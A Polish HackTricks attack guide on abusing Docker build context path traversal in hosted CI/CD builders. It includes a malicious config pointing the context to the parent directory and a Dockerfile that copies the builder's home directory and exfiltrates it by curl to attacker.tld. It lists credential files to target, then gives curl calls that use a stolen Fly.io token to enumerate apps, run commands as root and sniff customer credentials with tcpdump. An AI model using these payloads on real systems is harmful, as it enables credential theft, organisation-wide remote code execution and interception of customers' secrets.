Wykorzystywanie Docker Build Context w Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

TL;DR

Jeśli platforma CI/CD lub hosted builder pozwala kontrybutorom określić ścieżkę Docker build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. “..”) i włączyć pliki hosta do build context. Następnie złośliwy Dockerfile kontrolowany przez atakującego może użyć COPY i exfiltrate secrets znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Ukradzione tokeny rejestru mogą również działać przeciwko control-plane APIs dostawcy, umożliwiając RCE w całej organizacji.

Attack surface

Wiele usług hosted builder/registry robi mniej więcej to samo podczas budowania obrazów przesłanych przez użytkowników:

  • Odczytuje konfigurację na poziomie repo, która zawiera:
    • build context path (wysyłany do Docker daemon)
    • Dockerfile path względem tego context
  • Kopiuje wskazany katalog build context oraz Dockerfile do Docker daemon
  • Buduje obraz i uruchamia go jako hosted service

Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla użytkownika builda staną się częścią build context i będą dostępne do COPY w Dockerfile.

Praktyczne ograniczenia często obserwowane:

  • Dockerfile musi znajdować się w wybranej ścieżce context i jego ścieżka musi być znana z góry.
  • Użytkownik builda musi mieć prawa do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie.

PoC: Path traversal via Docker build context

Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w kontekście katalogu nadrzędnego:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Uwagi:

  • Użycie “..” często odwołuje się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera pliki wrażliwe.
  • Umieść swój Dockerfile w katalogu o nazwie repo (np. repo “test” → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego.

PoC: Dockerfile to ingest and exfiltrate the host context

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Targets commonly recovered from $HOME:

  • ~/.docker/config.json (registry auths/tokens)
  • Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Wskazówka: Nawet jeśli w repozytorium znajduje się plik .dockerignore, to sposób wyboru kontekstu po stronie platformy (który jest podatny) nadal decyduje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemona zanim oceni .dockerignore Twojego repozytorium, pliki z hosta mogą nadal zostać ujawnione.

Pivot w chmurze przy użyciu nadmiernie uprzywilejowanych tokenów (przykład: Fly.io Machines API)

Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno do container registry, jak i do control-plane API. Jeśli wyeksfiltrujesz registry token, spróbuj użyć go przeciwko provider API.

Przykładowe wywołania API przeciwko Fly.io Machines API z użyciem skradzionego tokena z ~/.docker/config.json:

Enumerate apps in an org:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Uruchom polecenie jako root wewnątrz dowolnej maszyny aplikacji:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Rezultat: remote code execution obejmujący całą organizację we wszystkich hostowanych aplikacjach, jeśli token ma wystarczające uprawnienia.

Kradzież sekretów z przejętych hostowanych usług

Mając exec/RCE na hostowanych serwerach, możesz zebrać dostarczone przez klienta sekrety (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, treści żądań lub parametrach zapytania.

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks